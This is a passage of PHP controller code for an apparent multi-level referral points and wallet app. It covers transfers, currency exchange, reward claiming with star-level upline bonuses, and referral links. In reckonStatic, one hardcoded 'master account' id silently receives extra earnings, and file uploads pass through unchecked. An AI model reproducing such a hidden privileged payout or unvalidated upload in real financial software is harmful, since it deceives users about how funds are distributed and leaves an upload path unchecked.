            if($userInside["is_white"] != 1 && $totalMyr > 0){
                if($userInside["myr"] < $totalMyr || $userInside["myr"] < 0 || $totalMyr < 0){
                    Result::error(ErrorEnum::INSUFFICIENTHANDLINGFEES[$assemble->language]);
                }
                $UserMyr = self::editUserMyrOutInside($conn, $totalMyr, Common::assemble(new UserExample(), $userInside));
                $fundsData["genre"] = FundsGenreEnum::VENTUREMONEY;
                $fundsData["notes"] = FundsEnum::TRANSFEROUTHANDLINGFEE;
                $fundsData["uid"] = $userInside["id"];
                $fundsData["type"] = FundsEnum::TRANSFEROUTHANDLINGFEEZHCN;
                $fundsData["amount"] = -$totalMyr;
                $fundsData["balance"] = $userInside["myr"] - $totalMyr;
                $FuWriteFundsMyr = Funds::writeFunds($conn, $fundsData);
            }
            $fundsData["genre"] = FundsGenreEnum::MONEY;
            $fundsData["notes"] = $userInside["username"].FundsEnum::TOCHANGEINTOZHCN;
            $fundsData["uid"] = $userInsideUsername["id"];
            $fundsData["type"] = FundsEnum::TOCHANGEINTOZHCN;
            $fundsData["amount"] = $money;
            $fundsData["balance"] = $userInsideUsername["money"] + $money;
            $DuWriteFunds = Funds::writeFunds($conn, $fundsData);
            if ($UserMoney != 1 || $UserMyr !=1 || $UserMoneyAdd != 1 || $FuWriteFunds != 1 || $FuWriteFundsMyr != 1 || $DuWriteFunds != 1) {
                $conn->shiwuRollback();
                Result::error(ErrorEnum::PAYMENTFAILED[$assemble->language]);
            }
        }
        if($type == 2){
            $totalMoney = $money;
            if($userInside["myr"] < $totalMoney || $userInside["myr"] < 0 || $totalMoney < 0){
                Result::error(ErrorEnum::INSUFFICIENTBALANCE[$assemble->language]);
            }
            $UserMoney = self::editUserMyrOutInside($conn, $totalMoney,Common::assemble(new UserExample(), $userInside));
            $UserMoneyAdd = self::editUserMyrAddInside($conn, $money, Common::assemble(new UserExample(), $userInsideUsername));
            $fundsData["genre"] = FundsGenreEnum::VENTUREMONEY;
            $fundsData["notes"] = FundsEnum::TRANSFEROUTZHCN.$username;
            $fundsData["uid"] = $userInside["id"];
            $fundsData["type"] = FundsEnum::TRANSFEROUTZHCN;
            $fundsData["amount"] = -$totalMoney;
            $fundsData["balance"] = $userInside["myr"] - $totalMoney;
            $FuWriteFunds = Funds::writeFunds($conn, $fundsData);
            $fundsData["genre"] = FundsGenreEnum::VENTUREMONEY;
            $fundsData["notes"] = $userInside["username"].FundsEnum::TOCHANGEINTOZHCN;
            $fundsData["uid"] = $userInsideUsername["id"];
            $fundsData["type"] = FundsEnum::TOCHANGEINTOZHCN;
            $fundsData["amount"] = $money;
            $fundsData["balance"] = $userInsideUsername["myr"] + $money;
            $DuWriteFunds = Funds::writeFunds($conn, $fundsData);
            if ($UserMoney != 1 || $UserMoneyAdd != 1 || $FuWriteFunds != 1 || $DuWriteFunds != 1) {
                $conn->shiwuRollback();
                Result::error(ErrorEnum::PAYMENTFAILED[$assemble->language]);
            }
        }
        if($type == 3){
            $totalMoney = $money;
            if($userInside["usdt"] < $totalMoney || $userInside["usdt"] < 0 || $totalMoney < 0){
                Result::error(ErrorEnum::INSUFFICIENTBALANCE[$assemble->language]);
            }
            $UserMoney = self::editUserUsdtOutInside($conn, $totalMoney,Common::assemble(new UserExample(), $userInside));
            $UserMoneyAdd = self::editUserUsdtAddInside($conn, $money, Common::assemble(new UserExample(), $userInsideUsername));
            $fundsData["genre"] = FundsGenreEnum::TINYMONEY;
            $fundsData["notes"] = FundsEnum::TRANSFEROUTZHCN.$username;
            $fundsData["uid"] = $userInside["id"];
            $fundsData["type"] = FundsEnum::TRANSFEROUTZHCN;
            $fundsData["amount"] = -$totalMoney;
            $fundsData["balance"] = $userInside["usdt"] - $totalMoney;
            $FuWriteFunds = Funds::writeFunds($conn, $fundsData);
            $fundsData["notes"] = $userInside["username"].FundsEnum::TOCHANGEINTOZHCN;
            $fundsData["uid"] = $userInsideUsername["id"];
            $fundsData["type"] = FundsEnum::TOCHANGEINTOZHCN;
            $fundsData["amount"] = $money;
            $fundsData["balance"] = $userInsideUsername["usdt"] + $money;
            $DuWriteFunds = Funds::writeFunds($conn, $fundsData);
            if ($UserMoney != 1 || $UserMoneyAdd != 1 || $FuWriteFunds != 1 || $DuWriteFunds != 1) {
                $conn->shiwuRollback();
                Result::error(ErrorEnum::PAYMENTFAILED[$assemble->language]);
            }
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::PAYMENTSUCCESSFUL[$assemble->language]);
    }
    /**
     * TODO 兑换
     * entry token nums
     * return json
     * */
    public function exchange($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $money = $data["nums"];
        if($money<=0){
            Result::error(ErrorEnum::INCOMPLETEPARAMETERS[$assemble->language]);
        }
        $conn = new Conn();
        $fundsData["sn"] = Utils::createOrderNo();
        $userInside = self::getUserInside($conn, $assemble->token);//当前用户
        $conn->shiwuStart();
        $transferAccountsFee = ConfigModel::getConfigSingleValName($conn, "exchange_fee");//手续费利率
        $moneyPrice = self::getMoneyPrice($conn);
        $userFee = $money * $moneyPrice * $transferAccountsFee;//手续费
        $totalMoney = $money;
        $totalMyr = round($userFee,3);
        if($userInside["money"] < $totalMoney || $userInside["money"] < 0 || $totalMoney < 0){
            Result::error(ErrorEnum::INSUFFICIENTBALANCE[$assemble->language]);
        }
        if($userInside["myr"] < $totalMyr || $userInside["myr"] < 0 || $totalMyr < 0){
            Result::error(ErrorEnum::INSUFFICIENTHANDLINGFEES[$assemble->language]);
        }
        $addUsdt = round(($totalMoney * $moneyPrice),3);
        $UserMoney = self::editUserMoneyOutInside($conn, $totalMoney, 0,Common::assemble(new UserExample(), $userInside));
        $UserAddUsdt = self::editUserUsdtAddInside($conn, $addUsdt, Common::assemble(new UserExample(), $userInside));
        $UserMyr = self::editUserMyrOutInside($conn, $totalMyr, Common::assemble(new UserExample(), $userInside));
        $moneyBalance = $userInside["money"] - $totalMoney;
        $usdtBalance = $userInside["usdt"] + $addUsdt;
        $myrBalance = $userInside["myr"] - $totalMyr;
        $writeFundsMoney = Funds::writeFundsMoney($conn, $userInside["id"], $fundsData["sn"], "exchange", -$totalMoney, $moneyBalance, "兑换");
        $writeFundsUsdt = Funds::writeFundsUsdt($conn, $userInside["id"], $fundsData["sn"], "exchange", $addUsdt, $usdtBalance, "兑换");
        $writeFundsMyr = Funds::writeFundsMyr($conn, $userInside["id"], $fundsData["sn"], "exchange", -$totalMyr, $myrBalance, "兑换手续费");
        if ($UserMoney != 1 || $UserAddUsdt !=1  || $UserMyr !=1 || $writeFundsMoney != 1 || $writeFundsUsdt != 1 || $writeFundsMyr != 1) {
            $conn->shiwuRollback();
            Result::error(ErrorEnum::PAYMENTFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::PAYMENTSUCCESSFUL[$assemble->language]);
    }
    /**
     * TODO 客户端绑定姓名电话
     * entry token truename,phone
     * return json
     * */
    public function realName($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        if(!$assemble->truename || !$assemble->phone){
            Result::error(ErrorEnum::NAMEORPHONENUMBERISEMPTY[$assemble->language]);
        }
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        if(!$userInside){
            Result::error(ErrorEnum::USERNAMENULL[$assemble->language]);
        }
        $conn->shiwuStart();
        if(self::upUserInside($conn, $assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
    }
    /**
     * 上传图片
     * entry token _FILES
     * return json
     * */
    public function clientUpload($data){
        (new Qiniu())->upLoad($_FILES);
    }
    //是否上下级验证
    private static function yanzhengTeam($conn,$xid,$did){
        $userSuperiorAllIds = explode(",",UsersModel::getUserSuperiorAllIds($conn, $did));
        if(in_array($xid,$userSuperiorAllIds)){
            return true;
        }
        return false;
    }
    /**
     * TODO 分享二维码
     * @param $data
     */
    public function qrcode($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $uuid = $userInside["id"];
        $url = "https://wuyouapp.linglongshop.com/#/pages/register/register?pid=".$uuid;
        Result::success($url);
    }
    /**
     * TODO 滑落码
     * @param $data,username
     */
    public function slidingCode($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInsideUsername = UsersModel::getUserInsideUsername($conn, $assemble->username);
        if(empty($userInsideUsername)){
            Result::error(ErrorEnum::USERDOESNOTEXIST[$assemble->language]);
        }
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $userSuperiorAllIds = UsersModel::getUserSuperiorAllIds($conn, $userInsideUsername["id"]);
        $explode = explode(",", $userSuperiorAllIds);
        if(!in_array($userInside["id"],$explode)){
            Result::error(ErrorEnum::NONTEAMMEMBERS[$assemble->language]);
        }
        $uuid = $userInsideUsername["id"];
        $url = "http://app.999nineclub.com/#/pages/register/register?pid=".$uuid;
        Result::success($url);
    }
    /**
     * app升级
     * */
    public function AppUpdate($data){
        $version = $data["version"];
        $datetime = date('Y-m-d H:i:s', time());
        $updateSql="select `version`,`content`,`addr`,`force_update`,`update_date` from `appupdate` where `update_date`<'$datetime' order by id desc limit 1";
        $conn = new Conn();
        $readConn = $conn->readConn($updateSql);
        $is_update = version_compare($version, $readConn['version']);
        if($is_update == 0 || $is_update == 1){
            $res = [];
        }else{
            $res["version_name"] = $readConn["version"];
            $res["update_log"] = $readConn["content"];
            $res["download_url"] = $readConn["addr"];
            $res["force_update"] = $readConn["force_update"];
        }
        Result::success($res);
    }
    /**
     * TODO 积分领取
     * @param $data
     * return void
     * */
    public function collectSaleReward($data){
        Result::error("已加入自动领取");
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $UserExample = Common::assemble(new UserExample(), $userInside);
        if($UserExample->capping <= 0){
            Result::error("待领取积分不足");
        }
        if($UserExample->is_get != 1){
            Result::error(ErrorEnum::FREEZECLAIM[$assemble->language]);
        }
        if($UserExample->collect >= 1){
            Result::error(ErrorEnum::RECEIVEDTODAY[$assemble->language]);
        }
        $sn = Utils::createOrderNo();
        $reckonStatic = self::reckonStatic($conn, $userInside);
        $balance = $UserExample->capping - $reckonStatic;
        if($balance < 0){
            $reckonStatic = $UserExample->capping;
        }
        if($reckonStatic > 0){
            $conn->shiwuStart();
            $balance = $UserExample->money + $reckonStatic;
            $editUserMoneyAddInside = UsersModel::editUserSalesInside($conn, $reckonStatic, $UserExample);
            $writeFundsMoney1 = Funds::writeFundsMoney($conn, $UserExample->id, $sn, FundsEnum::COMMISSION, $reckonStatic, $balance, FundsEnum::COMMISSIONZHCN);
            $writeFundsSale = Funds::writeFundsSale($conn, $UserExample->id, $sn, FundsEnum::COMMISSION, -$reckonStatic, 0, FundsEnum::COMMISSIONZHCN);
            if($editUserMoneyAddInside > DigitEnum::ONE || $writeFundsMoney1 != DigitEnum::ONE || $writeFundsSale != DigitEnum::ONE){
                $conn->shiwuRollback();
                Result::error(ErrorEnum::CLAIMFAILED[$assemble->language]."-x");
            }
            self::pointsDeduction($conn,$assemble,$reckonStatic);
            $totalReward = $UserExample->ach;
            $moneyPrice = self::getMoneyPrice($conn);
            $UserExampleAllPid = UsersModel::getUserSuperiorAllPid($conn, $UserExample->pid);
            $rewardPro = $maxLevel = $peerLevel = $yguanli =0;
            $peer = true;
            foreach ($UserExampleAllPid as $value){
                $UserExampleAll = Common::assemble(new UserExample(), $value);
                //极差奖励
                /*1星 0.00045
                  2星 0.0009
                  3星 0.0012
                  4星 0.0015
                  5星 0.0018
                  6星 0.0021
                  7星 0.0024
                  平级 0.00015
                 * */
                if($value["level"] > $maxLevel){
                    $levelScale = self::getLevelScale($conn, $value["level"]);
                    $peerScale = self::getPeerScale($conn);
                    $scale = $levelScale - $rewardPro;
                    $biben = $totalReward * $scale;
                    $Reward = $biben / $moneyPrice;
                    if($Reward > DigitEnum::MINIMUM && $value["capping"] >= $biben){
                        $editUserMoneyAddInside = UsersModel::editUserAgentInside($conn, $Reward, $UserExampleAll);
                        $writeFundsPrize = Funds::writeFundsBonus($conn, $UserExampleAll->id, $sn, FundsEnum::EXPANDPOINTREWARDS, $Reward, $UserExampleAll->agent_reward+$Reward, FundsEnum::EXPANDPOINTREWARDSZHCN);
                        if($editUserMoneyAddInside != DigitEnum::ONE || $writeFundsPrize != DigitEnum::ONE){
                            $conn->shiwuRollback();
                            Result::error(ErrorEnum::CLAIMFAILED[$assemble->language]."-j");
                        }
                    }
                    $rewardPro = $rewardPro + $scale;
                    $peer = true;
                }
                //平级奖励
                if($peer && $value["level"] > 0 && $value["level"] == $maxLevel){
                    $PeerScale = $totalReward * self::getPeerScale($conn);
                    $peerReward = $PeerScale / $moneyPrice;
                    if($Reward > DigitEnum::MINIMUM && $value["capping"] >= $PeerScale){
                        $editUserMoneyAddInside = UsersModel::editUserAgentInside($conn, $peerReward, $UserExampleAll);
                        $writeFundsPrize = Funds::writeFundsBonus($conn, $UserExampleAll->id, $sn, FundsEnum::EXPANDPOINTREWARDS, $peerReward, $UserExampleAll->agent_reward+$peerReward, FundsEnum::EXPANDPOINTREWARDSZHCN);
                        if($editUserMoneyAddInside != DigitEnum::ONE || $writeFundsPrize != DigitEnum::ONE){
                            $conn->shiwuRollback();
                            Result::error(ErrorEnum::CLAIMFAILED[$assemble->language]."-p");
                        }
                    }
                    $peerLevel += 1;
                    $peer = false;
                }
                if($value["level"] > $maxLevel){
                    $maxLevel = $value["level"];
                }
            }
            $conn->shiwuEnd();
        }else{
            Result::error(ErrorEnum::NOPOINTSAVAILABLEFORREDEMPTION[$assemble->language]);
        }
        Result::success("领取成功");
    }
    /**
     * TODO 分享积分领取
     * @param $data
     * return void
     * */
    public function collectWinningReward($data){
        Result::error("已加入自动领取");
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $UserExample = Common::assemble(new UserExample(), $userInside);
        if($UserExample->capping <= 0){
            Result::error("待领取积分不足");
        }
        if($UserExample->is_get != 1){
            Result::error(ErrorEnum::FREEZECLAIM[$assemble->language]);
        }
        if($UserExample->caigou >= 1){
            Result::error(ErrorEnum::RECEIVEDTODAY[$assemble->language]);
        }
        $sn = Utils::createOrderNo();
        $conn->shiwuStart();
        $reckonDirect = self::reckonDirect($conn,$userInside);
        $balance = $UserExample->capping - $reckonDirect;
        if($balance < 0){
            $reckonDirect = $UserExample->capping;
        }
        if($reckonDirect > 0){
            $totalMoney = $reckonDirect;
            $balance = $UserExample->money + $totalMoney;
            $editUserMoneyAddInside = UsersModel::editUserWinningInside($conn, $totalMoney, $UserExample);
            $writeFundsMoney = Funds::writeFundsMoney($conn, $UserExample->id, $sn, FundsEnum::WINNINGBENEFITS, $totalMoney, $balance, FundsEnum::WINNINGBENEFITSZHCN);
            $writeFundsPrize = Funds::writeFundsPrize($conn, $UserExample->id, $sn, FundsEnum::WINNINGBENEFITS, -$totalMoney, 0, FundsEnum::WINNINGBENEFITSZHCN);
            if($editUserMoneyAddInside != DigitEnum::ONE || $writeFundsMoney != DigitEnum::ONE || $writeFundsPrize != DigitEnum::ONE){
                $conn->shiwuRollback();
                Result::error(ErrorEnum::CLAIMFAILED[$assemble->language]."-f");
            }
            self::pointsDeduction($conn,$assemble,$reckonDirect);
        }else{
            Result::error(ErrorEnum::NOPOINTSAVAILABLEFORREDEMPTION[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success("领取成功");
    }
    /**
     * TODO 拓展积分领取
     * @param $data
     * return void
     * */
    public function collectBonusReward($data){
        Result::error("已加入自动领取");
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $UserExample = Common::assemble(new UserExample(), UsersModel::getUserInside($conn, $assemble->token));
        if($UserExample->capping <= 0){
            Result::error("待领取积分不足");
        }
        if($UserExample->is_get != 1){
            Result::error(ErrorEnum::FREEZECLAIM[$assemble->language]);
        }
        $sn = Utils::createOrderNo();
        $reward = $UserExample->agent_reward;//可领奖励
        if($reward <= DigitEnum::ZERO){
            Result::error(ErrorEnum::NOPOINTSAVAILABLEFORREDEMPTION[$assemble->language]);
        }
        $balance = $UserExample->capping - $UserExample->agent_reward;
        if($balance < 0){
            $UserExample->agent_reward = $UserExample->capping;
        }
        $conn->shiwuStart();
        $balance = $UserExample->money + $UserExample->agent_reward;
        $editUserMoneyAddInside = UsersModel::editUserBonusInside($conn, $UserExample->agent_reward, $UserExample);
        $writeFundsMoney = Funds::writeFundsMoney($conn, $UserExample->id, $sn, FundsEnum::WEEKLYDIVIDENDS, $UserExample->agent_reward, $balance, FundsEnum::WEEKLYDIVIDENDSZHCN);
        $writeFundsBonus = Funds::writeFundsBonus($conn, $UserExample->id, $sn, FundsEnum::WEEKLYDIVIDENDS, -$UserExample->agent_reward, 0, FundsEnum::WEEKLYDIVIDENDSZHCN);
        if($editUserMoneyAddInside != DigitEnum::ONE || $writeFundsMoney != DigitEnum::ONE || $writeFundsBonus != DigitEnum::ONE){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::CLAIMFAILED[$assemble->language]."-T");
        }
        self::pointsDeduction($conn,$assemble,$reward);
        $conn->shiwuEnd();
        Result::success("领取成功");
    }
    /**
     * TODO 待释放积分列表
     * @param $data
     * return void
     * */
    public function settList($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $UserExample = Common::assemble(new UserExample(), UsersModel::getUserInside($conn, $assemble->token));
        $settlementAll = SettlementModel::getSettlementAll($conn, $UserExample->id);
        Result::success($settlementAll);
    }
    /**
     * TODO 待释放积分扣除
     * @param $data
     * return void
     * */
    public static function pointsDeduction($conn,$assemble,$quantity){
        $UserExample = Common::assemble(new UserExample(), UsersModel::getUserInside($conn, $assemble->token));
        $moneyPrice = CtcSettingModel::getCtcSettingInit($conn, 2)["consult_price"];
        $quantity = $quantity * $moneyPrice;
        $balance = $UserExample->capping - $quantity;
        if($balance < 0){
            $quantity = $UserExample->capping;
        }
        $editUserMoneyAddInside = UsersModel::editUserCappingMinus($conn,$quantity, $UserExample);
        if($editUserMoneyAddInside > DigitEnum::ONE){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::CLAIMFAILED[$assemble->language]."-C");
        }
    }
    /**
     * TODO 获取用户星级
     * @param $data
     * return void
     * */
    public function getLevel($level){
        switch ($level){
            case 1 : $level = "一星";break;
            case 2 : $level = "二星";break;
            case 3 : $level = "三星";break;
            case 4 : $level = "四星";break;
            case 5 : $level = "五星";break;
            case 6 : $level = "六星";break;
            case 7 : $level = "七星";break;
            default:$level = "暂无";break;
        }
        return $level;
    }
    /**
     * TODO 用户升级
     * @param $data
     * return void
     * */
    public function upLevel($conn,$user){
        $userAllSach = self::getUserAllSachPid($conn,$user["id"]) ? :0;//旗下总业绩
        $userSmallSach = self::getUserInsideSmallAch($conn,$user["id"]) ? :0;//旗下除开大区的所有小区业绩
        $count = 0;
        switch ($user["level"]){
            case 0 : $sach = 300000;   $smallSach = 0;break;
            case 1 : $sach = 2000000;  $smallSach = 500000;break;
            case 2 : $sach = 5000000;  $smallSach = 1500000;break;
            case 3 : $sach = 10000000; $smallSach = 3000000;break;
            case 4 : $sach = 30000000; $smallSach = 3000000;$count = 3;break;
            case 5 : $sach = 50000000; $smallSach = 5000000;$count = 3;break;
            case 6 : $sach = 100000000; $smallSach = 10000000;$count = 3;break;
            default : $sach = 99999999999999;$smallSach = 99999999999999;break;
        }
        $userInsideSmallAchCount = self::getUserInsideSmallAchCount($conn, $user["id"],$smallSach);//旗下小区业绩达到300万数量
        if($userAllSach >= $sach && $userSmallSach >= $smallSach && $userInsideSmallAchCount >= $count){
            $conn->shiwuStart();
            if(self::editUserLevelInside($conn, Common::assemble(new UserExample(),$user)) !=1){
                $conn->shiwuRollback();
            }else{
                $conn->shiwuEnd();
            }
        }
    }
    /**
     * TODO 用户自动升级（无忧）
     * @param $data
     * return void
     * */
    public function autoUplevel($conn,$user){
        $userAllSach = self::getUserAllSachPid($conn,$user["id"]) ? :0;//旗下总业绩
        $userSmallSach = self::getUserInsideSmallAch($conn,$user["id"]) ? :0;//旗下除开大区的所有小区业绩
        $level = 0;
        if($userAllSach >= 300000){
            $level = 1;
        }
        if($userAllSach >= 2000000 && $userSmallSach >= 500000){
            $level = 2;
        }
        if($userAllSach >= 5000000 && $userSmallSach >= 1500000){
            $level = 3;
        }
        if($userAllSach >= 10000000 && $userSmallSach >= 3000000){
            $level = 4;
        }
        if($userAllSach >= 30000000 && $userSmallSach >= 3000000 && self::getUserInsideSmallAchCount($conn, $user["id"],3000000) >= 3){
            $level = 5;
        }
        if($userAllSach >= 50000000 && $userSmallSach >= 5000000 && self::getUserInsideSmallAchCount($conn, $user["id"],5000000) >= 3){
            $level = 6;
        }
        if($userAllSach >= 100000000 && $userSmallSach >= 10000000 && self::getUserInsideSmallAchCount($conn, $user["id"],10000000) >= 3){
            $level = 7;
        }
        if($user["level"] != $level){
            $conn->shiwuStart();
            if(self::editUserAutoLevelInside($conn,$level, Common::assemble(new UserExample(),$user)) !=1){
                $conn->shiwuRollback();
            }else{
                $conn->shiwuEnd();
            }
        }
    }
    /**
     * TODO 静态奖励计算
     * @param $data
     * return void
     * */
    public function reckonStatic($conn,$userInside){
        $moneyPrice = self::getMoneyPrice($conn);
        $jingtai = ConfigModel::getConfigSingleValName($conn, Config::SMALL_REWARD);//静态奖励比例
        $jiangli = 0;
        if($userInside["id"] == 108776){//总账号增加收益
            $jiangli = $userInside["sach"] * 0.0008333 / $moneyPrice;;
        }
        if($userInside["ach"] > 0 && $userInside["collect"] == 0){
            return $jiangli + $userInside["ach"] * $jingtai / $moneyPrice;
        }else{
            return 0;
        }
    }
    /**
     * TODO 直推奖励计算
     * @param $data
     * return void
     * */
    public function reckonDirect($conn,$userInside){
        $userInside["zach"] = self::getUserAllAchPid($conn, $userInside["id"]);
        $moneyPrice = self::getMoneyPrice($conn);
        $zhitui = ConfigModel::getConfigSingleValName($conn, Config::BIG_REWARD);//直推奖励比例
        if($userInside["zach"] > 0 && $userInside["caigou"] == 0){
            return $userInside["zach"] * $zhitui / $moneyPrice;
        }else{
            return 0;
        }
    }
    /**
     * TODO 获取当前消费积分价格
     * @param $data
     * return void
     * */
    public function getMoneyPrice($conn){
        return CtcSettingModel::getCtcSettingInit($conn, 2)["consult_price"];
    }
    /**
     * TODO 获取用户星级奖励比例
     * @param $data
     * return void
     * */
    public function getLevelScale($conn,$level){
        switch ($level){
            case 1 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_1);break;
            case 2 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_2);break;
            case 3 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_3);break;
            case 4 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_4);break;
            case 5 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_5);break;
            case 6 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_6);break;
            case 7 : $scale = ConfigModel::getConfigSingleValName($conn, Config::CASHBACK_7);break;
            default:$scale = 0;break;
        }
        return $scale;
    }
    /**
     * TODO 获取用户平级奖励比例
     * @param $data
     * return void
     * */
    public function getPeerScale($conn){
        return ConfigModel::getConfigSingleValName($conn, Config::PROCURE_FEE);
    }
}